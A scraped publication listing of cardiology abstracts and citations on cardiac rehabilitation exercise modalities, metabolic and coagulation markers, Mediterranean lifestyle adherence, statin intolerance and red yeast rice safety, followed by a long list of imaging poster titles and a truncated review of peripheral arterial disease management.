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The impact of interval vs. continuous training on troponin and natriuretic peptide levels in post-myocardial patients: a randomised control trial. Eur Heart J 2022. [DOI: 10.1093/eurheartj/ehac544.2477] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Abstract] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/12/2022] Open
Abstract
Abstract
Introduction
High-intensity interval training (HIIT) and moderate-intensity continuous training (MICT) are two well established and used exercise modalities for cardiac rehabilitation in patients after myocardial infarction. However, data on their effects on clinically relevant biomarkers, e.g. troponin and N-terminal pro-brain natriuretic peptide (NT-proBNP) levels are scarce. The aim of the study was to assess the acute and long-term effects of HIIT vs. MICT on troponin and NT-proBNP levels in patients after myocardial infarction.
Methods
Patients referred to cardiac rehabilitation after myocardial infarction were randomised to either HIIT or MICT. HIIT consisted of 7 cycles of 1.5 min of 80–90% VO2peak and 3 min of 65–70% VO2peak intensity; MICT consisted of 32 min of 75% VO2peak intensity. We have determined troponin and NT-proBNP levels before (resting), immediately after, and one hour after (a) the first and (b) the last exercise training session, in order to appraise the specific effects of HIIT vs. MICT on an acute and long-term response to training. Cardiopulmonary exercise testing was performed in all patients. Wilcoxon signed-rank test was used to compare two related samples.
Results
One hundred six patients were included (55±10 years of age, 20% females), 53 in each group. There were no differences between HIIT and MICT groups in baseline characteristics.
Both HIIT and MICT caused the release of NT-proBNP levels during the first exercise training session (from median 159 to 169 ng/L, p<0.001 for HIIT; from median 217 to 226 ng/L, p<0.001 for MICT), while only HIIT additionally lead to an elevation in NT-proBNP levels even 1 hour after the first session of the exercise training programme (from median 169 to 182 ng/L, p=0.002). After 36 sessions of the exercise training programme, this trend of a further increase in NT-proBNP levels was not present.
Neither HIIT nor MICT raised troponin levels during both the first and the last exercise training visit. After both types of exercise (during recovery), however, a decrease in troponin level was present and was significant, but only after the first training visit (from median 10.5 to 10.0 ng/L, p=0.014 for HIIT; from 13.1 to 12.4 ng/L, p=0.035 for MICT). Interestingly, MICT, but not HIIT, caused a significant increase in troponin levels after the termination of the last exercise training visit (from median 10.5 to 10.9 ng/L, p=0.004).
Conclusion
Both HIIT and MICT significantly cause an acute increase in NT-proBNP levels, while only HIIT is associated with further elevation of NT-proBNP levels after the termination of the first exercise training session in patients after myocardial infarction. On the contrary, neither exercise training modality causes a significant increase in troponin levels, suggesting that the safety pattern of both exercise training modalities may be comparable.
Funding Acknowledgement
Type of funding sources: None.
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Association between the triglyceride-glucose index and a procoagulant state in coronary artery disease. Eur Heart J 2021. [DOI: 10.1093/eurheartj/ehab724.1070] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Abstract] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/14/2022] Open
Abstract
Abstract
Background
Metabolic risk factors and a procoagulant state represent major drivers of atherothrombosis. In terms of metabolic risk factors, the triglyceride-glucose (TyG) index has recently emerged as a marker of metabolic syndrome and an independent predictor of cardiovascular outcomes in patients with coronary artery disease (CAD). In terms of a procoagulant state, previous research suggests that CAD is associated with increased coagulation and impaired fibrinolytic activity, which may contribute to atherothrombotic events. We hypothesized that metabolic risk, as determined by TyG index, may be an important driver of hemostatic derangements in patients with CAD.
Purpose
We sought to establish a possible association between the overall hemostatic, coagulation and fibrinolytic potentials (OHP, OCP and OFP), and the TyG Index in patients with CAD.
Methods
Consecutive patients after a recent myocardial infarction (within 90 days from inclusion) had fasting blood samples withdrawn. OHP, OCP and OFP were determined with a previously validated method, using thrombin and recombinant tissue-type plasminogen activator, by absorbance measurements at 405 nm in 1 minute intervals for 40 minutes. Areas under the curve were constructed for OHP and OCP with the obtained measurements, OFP was calculated as the difference between the two aforementioned areas: OFP = [(OHP – OCP) / OCP] x 100 (%). Baseline data, cardiovascular risk factor profile and standard laboratory tests were collected. TyG index was calculated using the previously validated formula: TyG index = ln [triglyceride (mg/dL) x glucose (mg/dL) / 2]. Proportions were compared using the chi-squared test, linear regression models were constructed for the multivariate analysis.
Results
We included 117 patients (mean age 56±10 years, 20% women). Arterial hypertension was present in 86 (73.5%), diabetes mellitus in 10 (8.5%), dyslipidemia in 75 (64.1%), family history in 46 (39.3%) patients; 54 (46.2%) were active smokers (within 2 years). Median OHP was 8.0 (interquartile range [IQR] 2.9), OCP was 22.6 (IQR 6.2), OFP was 66.0 (IQR 11)%. The TyG index was a strong univariate predictor of OCP (Beta 2.26 [0.282–4.242] p=0.026), and retained its statistical significance after multivariate adjustment for sex, age and traditional risk factors (R2 0.23; ANOVA for regression p<0.001; Beta 1.98 [0.13–3.84], p=0.036).
Conclusion
The TyG index, a marker of metabolic syndrome, is an independent predictor of a procoagulant state in CAD, as determined by the OCP. Our findings suggests that the metabolic syndrome may be an important driver of atherothrombotic risk in patients with CAD.
Funding Acknowledgement
Type of funding sources: None. Correlation between TyG index and OCP
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Adherence to the Mediterranean lifestyle in patients after myocardial infarction. Eur J Prev Cardiol 2021. [DOI: 10.1093/eurjpc/zwab061.188] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Abstract] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/13/2022]
Abstract
Abstract
Funding Acknowledgements
Type of funding sources: None.
OnBehalf
ReKoBo study group
INTRODUCTION
Adherence to the Mediterranean diet is associated with decreased cardiovascular and overall mortality, and is recommended by the relevant preventive cardiology guidelines. However, besides specific dietary intake, Mediterranean lifestyle includes a series of eating habits and social behaviours. All these aspects are summed in the Medlife questionnaire.
PURPOSE
The aim of our study was to assess adherence to the Mediterranean lifestyle and examine associations with clinically relevant variables, in patients after myocardial infarction referred to cardiac rehabilitation.
METHODS
This was a single-centre cross-sectional study. Mediterranean lifestyle pattern was assessed using a validated Medlife questionnaire, which includes 28 questions (15 questions on the Mediterranean diet adherence, 6 questions on the eating habits and behaviour, and 7 questions on the social pattern of the Mediterranean lifestyle). Associations of the Medlife score with the exercise performance (assessed by the cardiopulmonary exercise testing), clinical data, demographics, lipid status, and quality of life (assessed by the HeartQol questionnaire) were assessed using Spearman’s correlation coefficient, while differences between two groups were determined with the independent-samples t-test.
RESULTS
There were 111 patients included in the study, mean age 55 +/- 10 years, 20% of them were women. Adherence to the Mediterranean lifestyle was not associated with age, BMI, peak VO2, total or LDL cholesterol. Also, there were no differences in terms of Medlife score between women vs. men, and between patients living in urban vs. rural areas. There were, however, significant associations between Medlife score and HDL (r = 0.239, p = 0.012), triglyceride level (r=-0.383, p < 0.001) and blood glucose level (r=-0.214, p = 0.024), and with the emotional aspects of the quality of life (r = 0.245, p = 0.017). Also, higher-educated were significantly more adherent to the Mediterranean lifestyle as compared to lower-educated patients (16.2 vs. 14.7 points, p = 0.018).
CONCLUSION
Poorer adherence to the Mediterranean lifestyle is associated with substandard control of lipid status and glucose level. Improvement in the Mediterranean lifestyle adherence might be a cornerstone in the cardiac rehabilitation beyond exercise training programmes.
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The impact of interval vs. continuous training on exercise capacity and endothelial function in post-myocardial patients: a randomised control trial. Eur Heart J 2020. [DOI: 10.1093/ehjci/ehaa946.3097] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Abstract] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/12/2022] Open
Abstract
Abstract
Introduction
High-intensity interval training (HIIT) and moderate-intensity continuous training (MICT) are two most common and well established exercise modalities for cardiac rehabilitation in patients after myocardial infarction. Yet, data on their effects on cardiovascular parameters beyond exercise capacity (e.g. endothelial function) are scarce.
Methods
Patients referred to cardiac rehabilitation (CR) after myocardial infarction were randomised to HIIT or MICT. HIIT consisted of 7 cycles of 1.5 min of 80–90% VO2peak and 3 min of 65–70% VO2peak intensity; MICT consisted of 32 min of 75% VO2peak intensity. We ultrasonographically appraised flow-mediated dilation (FMD) – a marker of endothelial function – before (resting), immediately after and one hour after (a) the first and (b) the last exercise training session, in order to appraise the specific effects of HIIT vs. MICT on acute and long-term vascular response to training. Cardiopulmonary exercise testing was performed in all patients. We compared the effects of training modalities with ANCOVA using baseline values as covariates, and examined the improvement after CR in each intervention group with paired-samples t-test.
Results
Eighty-six patients were included (55±10 years of age, 19% females), 43 in each group. There were no differences between HIIT and MICT groups in baseline characteristics. VO2peak improved in both groups (HIIT: 22.8 to 24.9 ml/kg/min, p=0.016 and MICT: 21.9 to 24.5 ml/kg/min, p<0.001), with no significant between-group differences (p=0.571). Also, resting FMD improved after both HIIT and MICT (4.6 to 6.7%, p=0.016, and 4.7 to 8.0%, p=0.001, respectively), with no significant between-group differences (p=0.177). Acute vascular response to training, however, improved with HIIT (FMD one hour after the last training session: 4.1 to 7.1%, p=0.022), but not MICT (5.9 to 6.4%, p=0.584).
Conclusion
Both HIIT and MICT significantly and comparably improve exercise capacity and resting FMD in patients after myocardial infarction. In addition, however, HIIT is associated with improved vascular response during recovery period after exercise.
Funding Acknowledgement
Type of funding source: None
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Abstract
Abstract
Background
Physical inactivity is common in patients with coronary heart disease (CHD) and associated with an unfavorable prognosis. The study aim was to assess the physical activity levels as well as the intention to become physically active in patients with stable CHD with an additional focus on the association with their risk profile.
Methods
Analyses are based on the cross-sectional EUROASPIRE V survey, conducted under the auspices of the ESC EURObservational Research Project in 2016–2017. The survey encompassed 8,261 CHD patients, included in 27 countries, with a mean age of 62.4 years (±9.6, range 18 - 80 years), 25.8% of them were female. Physical activity level according to the overall patients' risk profile and their medical management was assessed, and the intention to become physically active in order to reduce their risk for recurrent events was investigated.
Results
The physical activity status found in CHD patients included was far from satisfactory in general, since only 34.4% of those interviewed were regularly physically active (for more than 30 minutes duration on average 5 times a week). Nearly half (47.3%) of the patients reported they are performing more everyday physical activity in general after the index event; while only every fifth patient (21.4%) reported to follow the specific exercise advice from a health or exercise professional, every tenth (11.3%) attending the fitness club or leisure centre, and only 6.1% joining the community walking groups. Regular exercise to increase physical fitness (defined as planned physical activity performed 3–5 times per week for 20–60 minutes) was confirmed by 34.8%, while interestingly 40.4% of patients declared regular physical activity as part of the self-reported lifestyle change in order to lose their body weight. A better cardiovascular risk profile as well as receiving physical activity advice or weight loss advice was associated with better physical activity levels.
Conclusions
Although an increase in the proportion of patients being adequately physical active after their index event, physical activity levels remain suboptimal in many CHD patients. There is an obvious need for improvement, with regards to both finding more effective ways of advice and encouraging our patients to increase the amount of their everyday exercise, as well regularly to monitor their lifestyle change.
Funding Acknowledgement
Type of funding source: Private grant(s) and/or Sponsorship. Main funding source(s): The survey was supported through research grants to the European Society of Cardiology from Amgen, Eli Lilly, Sanofi (Gold Sponsors), Pfizer (Silver Sponsor), and Ferrer and Novo Nordisk (Bronze Sponsors).
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P705Step by step diagnosis and management of statin intolerance: position paper from an international lipid expert panel. Eur Heart J 2019. [DOI: 10.1093/eurheartj/ehz747.0310] [Citation(s) in RCA: 11] [Impact Index Per Article: 2.2] [Reference Citation Analysis] [Abstract] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/12/2022] Open
Abstract
Abstract
Background
Statin intolerance is a clinical syndrome whereby adverse effects associated with statin therapy (most commonly muscle symptoms) result in the discontinuation of therapy. Statin discontinuation is associated with increased risk of adverse cardiac outcomes. Many patients who initially experience adverse effects are able to tolerate statin therapy to some extent. Careful stepwise diagnosis and management of individuals who experience adverse effects is essential to enable optimal reduction of cardiovascular risk.
Purpose
In this Position Paper of the International Lipid Expert Panel (ILEP), we present a step by step approach to the diagnosis and practical management of statin intolerance resulting from muscle symptoms, and other adverse effects with demonstrated statin causality.
Methods
Relevant clinical evidence and international clinical guidelines were discussed and assimilated by ILEP members. Consensus was used to formulate recommendations for the diagnosis and management of statin intolerance.
Results
Consensus resulted in the adoption of three parts to the recommendation. 1) diagnosis of Statin Intolerance; 2) advice for management of all patients with statin intolerance; 3) specific advice for patients who have partial (rather than complete) statin intolerance. Patients with partial statin intolerance are likely to make up the vast majority (even 95%) of statin-intolerant individuals. Each part of the recommendation consists of a four-step process and has an associated acronym to aid memory (see attached recommendations). We adopted the Banach and Mikhailidis four-step approach to diagnosis and we developed novel recommendations for management.
Summary of the ILEP SI recommendations.
Conclusions
We present recommendations, which will enable clinicians to distinguish between rare, severe adverse effects; true statin intolerance, and symptoms incorrectly attributed to statin therapy. In each case we summarize guidelines, clinical evidence and expert opinion pertaining to the optimal management of cardiovascular disease in these patients.
Acknowledgement/Funding
None
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1443Safety of red yeast rice supplementation: a systematic review and meta-analysis of randomized controlled trials. Eur Heart J 2019. [DOI: 10.1093/eurheartj/ehz748.0078] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Abstract] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/14/2022] Open
Abstract
Abstract
Background
Recently, concerns regarding the safety of red yeast rice (RYR) have been raised after the publication of some case reports claiming toxicity.
Purpose
Since the previous meta-analyses on the effects of RYR were mainly focused on its efficacy to improve the lipid profile and other cardiovascular parameters, we carried out a meta-analysis on safety data derived from the available randomized controlled clinical trials (RCTs).
Methods
Primary outcomes were musculoskeletal disorders (MuD). Secondary outcomes were non-musculoskeletal adverse events (Non-MuD) and serious adverse events (SAE). Subgroups analyses were carried out considering the intervention (RYR alone or in association with other nutraceutical compounds), monacolin K administered daily dose (≤3, <3–5 and >5 mg/day), follow-up (>12 or ≤12 weeks), with statin therapy or statin-intolerance and type of control treatment (placebo or statin treatment).
Results
Data were pooled from 52 RCTs comprising 110 treatment arms, which included 8503 subjects, with 4421 in the RYR arm and 4287 in the control one. Monacolin K administration was not associated with increased risk of MuD (odds ratio [OR]=0.94, 95% confidence interval [CI] 0.53,1.65). (Figure below presents the forest plot comparing the RYR associated risk of MuD in the entire population). Moreover, we found a reduced risk of Non-MuD (OR=0.59, 95% CI 0.50, 0.69) and SAE (OR=0.54, 95% CI 0.46, 0.64) vs. control. Subgroups analyses confirmed the high tolerability profile of RYR. Furthermore, increasing daily doses of monacolin K were negatively associated with increasing risk of Non-MuD (slope: −0.10; 95% CI: −0.17, −0.03; two-tailed p<0.01).
Forest plot on RYR link with MuD risk.
Conclusions
Based on our data, RYR use as lipid-lowering dietary supplement seems to be overall tolerable and safe in a large population of moderately hypercholesterolaemic subjects.
Acknowledgement/Funding
None
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6076Improvement of exercise capacity over the course of outpatient cardiac rehabilitation is an independent predictor of prognosis after a myocardial infarction. Eur Heart J 2019. [DOI: 10.1093/eurheartj/ehz746.0124] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Abstract] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/12/2022] Open
Abstract
Abstract
Background
Cardiac rehabilitation after myocardial infarction improves cardiovascular health and quality of life. However, data on long-term prognostic impact of surrogate rehabilitation parameters–such as exercise capacity improvements–remain scarce.
Purpose
To assess the independent prognostic impact of exercise capacity improvement over the course of outpatient cardiac rehabilitation after myocardial infarction.
Methods
Consecutive patients undergoing outpatient cardiac rehabilitation (3-times weekly for 12 weeks) after a myocardial infarction at a university centre were included. Exercise testing was performed at inclusion and after completion of the rehabilitation programme, with exercise capacity improvement defined as ≥2 MET increase over the course of the programme. Clinical data and risk factors were systematically collected, and patients were followed up for a minimum of 2 years. Kaplan-Meier curves and a multivariate Cox proportional hazard model were constructed for prediction of events (defined as a composite of incident cardiovascular death, re-infarction and coronary revascularsiation), with age, sex, LDL-cholesterol levels and body mass index as co-variates.
Results
A total of 409 patients were included (20% women). Exercise capacity and expected exercise performance were significantly improved after cardiac rehabilitation programme (6.6 to 9.5 METs, p<0.001, and 82 to 117%, p<0.001, respectively). After a median follow-up of 6.5 years, 93 patients experienced an event. Exercise capacity improvement of ≥2 METs was associated with reduced event rates (Figure 1), retaining statistical significance even after adjusting for age, sex, LDL-cholesterol and body mass index (HR 0.485, 95% CI 0.285–0.824).
Kaplan-Meier curve
Conclusion
Improvement of exercise performance over the course of outpatient cardiac rehabilitation is an independent predictor of prognosis after a myocardial infarction, with improvements of ≥2 METs associated with a 50% reduction in events.
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Management of dyslipidaemia in patients with coronary heart disease: Results from the ESC-EORP EUROASPIRE V survey in 27 countries. Atherosclerosis 2019; 285:135-146. [DOI: 10.1016/j.atherosclerosis.2019.03.014] [Citation(s) in RCA: 101] [Impact Index Per Article: 20.2] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Received: 01/16/2019] [Revised: 02/22/2019] [Accepted: 03/19/2019] [Indexed: 12/16/2022]
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5020Prognostic value of left ventricular global circumferential and longitudinal strain with feature tracking cardiovascular magnetic resonance after ST-segment elevation myocardial infarction. Eur Heart J 2018. [DOI: 10.1093/eurheartj/ehy566.5020] [Citation(s) in RCA: 1] [Impact Index Per Article: 0.2] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/13/2022] Open
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5009Feature tracking CMR assessment of left ventricular global circumferential and longitudinal strain after STEMI: effect of early metoprolol on left ventricular functional recovery. Eur Heart J 2017. [DOI: 10.1093/eurheartj/ehx493.5009] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/13/2022] Open
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In‐hospital and 1‐year mortality associated with diabetes in patients with acute heart failure: results from the
ESC‐HFA
Heart Failure Long‐Term Registry. Eur J Heart Fail 2016; 19:54-65. [DOI: 10.1002/ejhf.679] [Citation(s) in RCA: 105] [Impact Index Per Article: 13.1] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Received: 05/10/2016] [Revised: 08/24/2016] [Accepted: 09/20/2016] [Indexed: 12/28/2022] Open
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Poster session 5The imaging examinationP1097Correlation between visual and quantitative assessment of left ventricle: intra- and inter-observer agreementP1099Incremental prognostic value of late gadolinium-enhanced by cardiac magnetic resonance in patients with heart failureAnatomy and physiology of the heart and great vesselsP1100Left ventricular geometry and diastolic performance in erectile dysfunction patients; a topic of differential arterial stiffness influenceAssessment of diameters, volumes and massP1101Impact of the percutaneous closure of atrial septal defect on the right heart "remodeling"P1102Left Ventricular Mass Indexation in Infants, Children and Adolescents: a Simplified Approach for the Identification of Left Ventricular Hypertrophy in Clinical PracticeP1103Impact of trabecules while quantifying cardiac magnetic resonance exams in patients with systemic right ventricleP1104Detection of subclinical atherosclerosis by carotid intima-media thickness: correlation with leukocytes telomere shorteningAssessments of haemodynamicsP1105Flow redirection towards the left ventricular outflow tract: vortex formation is not affected by variations in atrio-ventricular delayAssessment of systolic functionP1106Reproducibility and feasibility of cardiac MRI feature tracking in Fabry diseaseP1107Normal left ventricular strain values by two-dimensional strain echocardiography; result of normal (normal echocardiographic dimensions and functions in korean people) studyP1108Test-retest repeatability of global strain following st-elevation myocardial infarction - a comparison of tagging and feature trackingP1109Cardiotoxicity induced by tyrosine kinase inhibitors in patients with gastrointestinal stromal tumors (GIST)P1110Finite strain ellipses for the analysis of left ventricular principal strain directions using 3d speckle tracking echocardiographyP1111Antihypertensive therapy reduces time to peak longitudinal strainP1112Right ventricular systolic function as a marker of prognosis after inferior myocardial infarction - 5-year follow-upP1113Is artery pulmonary dilatation related with right but also early left ventricle dysfunction in pulmonary artery hypertension?P1114Right ventricular mechanics changes according to pressure overload increasing, a 2D-speckle tracking echocardiographic evaluationAssessment of diastolic functionP1115Paired comparison of left atrial strain from P-wave to P-wave and R-wave to R-waveP1116Diagnostic role of Tissue Doppler Imaging echocardiographic criteria in obese heart failure with preserved ejection fraction patientsP1117Evaluation of diastolic function of right ventricle in idiopathic pulmonary arterial hypertensionP1118Severity and predictors of diastolic dysfunction in a non-hypertensive non-ischemic cohort of Egyptian patients with documented systemic autoimmune disease; pilot reportP1119correlation between ST segment shift and cardiac diastolic function in patients with acute myocardial infarctionIschemic heart diseaseP1120Computed tomography coronary angiography verSus sTRess cArdiac magneTic rEsonance for the manaGement of sYmptomatic revascularized patients: a cost effectiveness study (STRATEGY study)P1121Utility of transmural myocardial mechanic for early infarct size prediction after primary percutaneous coronary intervention in STEMI patientsP1122Progressive Improvements of the echocardiographic deformation parameters in ST Elevation Myocardial Infarction after five years follow-upP1123Long-term prognostic value of left ventricular dyssynchrony as assessed by cardiac magnetic resonance feature-tracking imaging after a first st-segment elevation myocardial infarctionP1124Differences in mitral annulus remodeling in acute anterior ST elevation and acute inferior ST elevation myocardial infarctionP1125Reduction of microvascular injury using a novel theragnostic ultrasound strategy: a first in men feasibility and safety studyP1126Impact of focused echocardiography in clinical decision of patient presented with st elevation myocardial infarction underwent primary angioplastyHeart valve DiseasesP1127Aortic valve area calculation in aortic stenosis: a comparison among conventional and 3D-transesophageal echocardiography and computed tomographyP1128Myocardial fibrosis and microRNA-21 expression in patients with severe aortic valve stenosis and preserved ejection fraction: a 2D speckle tracking echocardiography, tissutal and plasmatic studyP1129Quantification of calcium amount in a new experimental model: a comparison between calibrated integrated backscatter of ultrasound and computed tomographyP1130Altered diffusion capacity in aortic stenosis: role of the right heartP1131Osteoprotegerin predicts all-cause mortality in calcific aortic stenosis patients with preserved left ventricle ejection fraction in long term observationP1132Mitral regurgitation as a risk factor for pulmonary hypertension in patients with aortic stenosisP1133The relationship between the level of plasma B-type natriuretic peptide and mitral stenosisP1134Aortic regurgitation, left ventricle mechanics and vascular load: a single centre 2d derived-speckle tracking studyP1135Feasibility and reproducibility issues limit the usefulness of quantitative colour Doppler parameters in the assessment of chronic aortic and mitral regurgitation severityP1136Predictors of postoperative outcome in degenerative mitral regurgitationP1137Left ventricular mechanical dyssynchrony in patients with severe mitral regurgitation of rheumatic etiology; three dimensional echocardiography studyP1138Functional mitral regurgitation and left atrial dysfunction concur in determining pulmonary hypertension and functional status in subjects with left ventricular systolic dysfunctionP11393D echocardiography allows more effective quantitative assessment of the severity of functional tricuspid regurgitation than conventional 2D/Doppler echocardiographyP1140Prosthetic valve thrombosis: still a severe disease? 10-years experience in a university hospitalP1141Validity of echocardiography in the hospital course of patients with feverP1142Do baseline 3DTEE characteristics of mitral valve apparatus predict long term result in patients undergoing percutaneous valve repair for degenerative regurgitation?P1143Influence of baseline aortic regurgitation on mitral regurgitation change after transcatheter aortic valve replacement for aortic stenosisP1144Prevalence of echocardiography detected significant valvular regurge in subclinical rheumatic carditis in assiut childrenCardiomyopathiesP1145Can we early detect left ventricular systolic dysfunction in patients with Duchenne muscular dystrophy using global longitudinal strain assessment?P1146Prevalence of isolated papillary muscle hypertrophy in young competitive athletesP1147Troponin release after exercise in patients with hypertrophic cardiomyopathy: associations with clinical and mr imaging characteristicsP1148Atrial fibrillation in hypertrophic cardiomyopathy: can we score the risk?P1149Impact of hypertrophy on multiple layer longitudinal deformation in hypertrophy cardiomyopathy and cardiac amyloidosis compared to controlsP1150Functional evaluation in hypertrophic cardiomyopathy combining cardiopulmonary exercise testing combined with exercise-echocardiographyP1151Refinement of the old diagnostic criteria of left ventricular noncompaction cardiomyopathy (LVNC) based on cardiac magnetic resonance (CMR)P1152Differences of clinical characteristics and outcomes between acute myocarditis with preserved and reduced left ventricular systolic functionP1153Value of longitudinal strain for distinguishing left ventricular non-compaction from idiopathic dilated cardiomyopathyP1154Speed of recovery of left ventricular function is not related to the prognosis of Takotsubo cardiomyopathy. A Portuguese multicentre studyP1155Predictors of in-hospital left ventricular systolic function recovery after admission with takotsubo cardiomyopathy. Portuguese multicentre studyP1156Mid-ventricular takotsubo detected by initial echocardiogram associates with recurrence of takotsubo cardiomyopathy - a portuguese multicentre studySystemic diseases and other conditionsP1157Relations between left ventricle remodelling and expression of angiotensin 2 AT2R1 geneP1158Impact of renal denervation on long-term blood pressure variability and surrogate markers of target organ damage in individuals with drug-resistant arterial hypertensionP1159Greater improvement of coronary artery function, left ventricular deformation and twisting by IL12/23 compared to TNF-a inhibition in psoriasisP1160Advanced glycation end products play a role in adverse LV remodeling following MIP1161Incidence of subclinical myocardial dysfunction in patients with systemic sclerosis and normal left ventricular systolic and diastolic functionP1162Left atrial remodeling and dysfunction occur early in patients with systemic sclerosis and normal left ventricular functionP1163Intrinsic vortex formation : a unique performance indicatorP1164P-wave morphology is unaffected by training-induced biatrial dilatation: a prospective, longitudinal study in healthy athletesP1165Usefulness of transthoracic echocardiography in diagnosis of young patients with ischemic strokeP1166Primary cardiac lymphoma: role of echocardiography in the clinical managementP1167Abnormal echocardiographic findings in cancer patients before chemotherapyMasses, tumors and sources of embolismP1168Three-dimensional transesophageal echocardiography of the left atrial appendage reduces rate of postpone electrical cardioversionP1169Detection of ventricular thrombus by cmr after reperfused st-segment elevation myocardial infarction correlated with echocardiographyP1170Clinical and transthoracic echocardiographic predictors of left atrial appendage thrombus in patients with atrial fibrillationStress echocardiographyP1171Pharmacological stress echocardiography complications: a 4-year single center experienceP1172Myocardial functional and perfusion reserve in type I diabetesP1173Feasibility of incorporating 3D Dobutamine stress echocardiography into routine clinical practiceP1174Right ventricular isovolumic acceleration at rest and during exercise in children after heart transplantP1175Right ventricular systolic and diastolic response to exercise in children after heart transplant -a bicycle exercise studyP1176Determinants of functional capacity in heart failure patients with reduced ejection fractionP1177Handgrip stress echocardiography with emotional component compared to conventional isometric exercise in coronary artery disease diagnosisP1178The relationship between resting transthoracic echocardiography and exercise capacity in patients with paroxysmal atrial fibrillationP1179Correlation between NT-proBNP and selected echocardiography parameters at rest and after exercise in patients with functional ischemic mitral regurgitation qualified for cardiosurgical treatmentReal-time three-dimensional TEEP1180Vena contracta area for severity grading in functional and degenerative mitral regurgitation: A study based on transesophageal 3D colour Doppler in 419 patientsP1181Proximal flow convergence by 3D echocardiography in the evaluation of mitral valve area in rheumatic mitral stenosisP1182Quantification of valve dimensions by transesophageal 3D echocardiography in patients with functional and degenerative mitral regurgitationTissue Doppler and speckle trackingP1183Automatic calculation of left ventricular volume changes over a cardiac cycle from echocardiography images by nonlinear dimensionality reductionP1184Effect of the mitral valve repairs on the left ventricular blood flow formationP1185Quantification of left atrial strain using cardiovascular magnetic resonance. a comparison between hypertrophic cardiomyopathy and healthy controlsP1186The role of early systolic lengthening in patients with non-ST elevation acute coronary syndrome and its relation to syntax scoreP1187Different standard two dimensional strain methods to quantity left ventricular mechanicsP1188Atrial function and electrocardiography caracteristics in sportsmen with or without paroxysmal atrial fibrillationP1189Right ventricular outflow premature contractions induce regional left ventricular dysfunctionP1190Ultrasound guided venous access for pacemaker and defibrillators. Randomized TrialP1191Atrial function analysis correlates with symptoms and quality of life of heart failure patientsP1192The use of tissue doppler echocardiography in myocardial iron overload in patients with thalassaemia majorP1193Independent association between pulse pressure and left ventricular global longitudinal strainP1194Global and regional longitudinal strain identifies the presence of coronary artery disease in patients with suspected reduction of coronary flow reserve and absence of wall motion abnormalitiesP1195Prognostic value of invasive and noninvasive parameters of right ventricular function in patients with pulmonary arterial hypertension receiving specific vasodilator therapyP1196Myocardial deformation analysis to improve arrhythmic risk stratificationP1197Quantitative assessment of regional systolic and diastolic function parameters for detecting prior transient ischemia in normokinetic segmentsP1198Left atrial function in patients with corrected tetralogy of Fallot - a three-dimensional speckle-tracking echocardiographic studyP1199Left atrial ejection force correlates with left atrial strain and volume-based functional properties as assessed by three-dimensional speckle tracking echocardiographyP1200Acute angulation of the aortic arch late after the arterial switch operation for transposition of the great arteries: impact on cardiac mechanicsP1201Circumferential deformation of the ascending thoracic aorta in hypertensive patients by three-dimensional speckle tracking echocardiographyCardiac Magnetic ResonanceP1202The incremental value of cardiac magnetic resonance on diagnosis myocardial infarction and non-obstructed coronary arteriesP1204Reference ranges of global and regional myocardial T1 values derived from MOLLI and shMOLLI at 3TComputed Tomography & Nuclear CardiologyP1205Deformation of the left atrial appendage after percutaneous closure with the Amplatzer cardiac plugP1206Prognostic impact of non-obstructive coronary artery disease on coronary computed tomographic angiography: A single-center study. Eur Heart J Cardiovasc Imaging 2015. [DOI: 10.1093/ehjci/jev275] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Track Full Text] [Journal Information] [Submit a Manuscript] [Subscribe] [Scholar Register] [Indexed: 11/13/2022] Open
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Medical management of patients with peripheral arterial disease. INT ANGIOL 2015; 34:75-93. [PMID: 24916346] [Citation(s) in RCA: 0] [Impact Index Per Article: 0] [Reference Citation Analysis] [Abstract] [MESH Headings] [Journal Information] [Subscribe] [Scholar Register] [Indexed: 06/03/2023]
Abstract
Peripheral arterial disease (PAD) is one of the most frequent manifestations of atherosclerosis and is associated with atherosclerosis in the coronary and carotid arteries, leading to a highly increased incidence of cardiovascular events. Major risk factors of PAD are similar to those that lead to atherosclerosis in other vascular beds. However, there are differences in the power of individual risk factors in the different vascular territories. Cigarette smoking and diabetes mellitus represent the greatest risks of PAD. For prevention of the progression of PAD and accompanying cardiovascular events similar preventative measures are used as in coronary artery disease (CAD). However, recent data indicate that there are some differences in the efficacy of drugs used in the prevention of atherothrombotic events in PAD. Antiplatelet treatment is indicated in virtually all patients with PAD. In spite of the absence of hard evidence- based data on the long term efficacy of aspirin, it is still considered as a first line treatment and clopidogrel as an effective alternative. The new antiplatelet drugs ticagrelol and prasugrel also represent promising options for treatment of PAD. Statin therapy is indicated to achieve the target low density lipoprotein cholesterol level of ≤2.5 mmol/L (100 mg/dL) and there is emerging evidence that lower levels are more effective. Statins may also improve walking capacity. Antihypertensive treatment is indicated to achieve the goal blood pressure (<140/90 mmHg). All classes of antihypertensive drugs including beta-blockers are acceptable for treatment of hypertension in patients with PAD. Diabetic patients with PAD should reduce their glycosylated haemoglobin to ≤7%. As PAD patients represent the group with the highest risk of atherothrombotic events, these patients need the most intensive treatment and 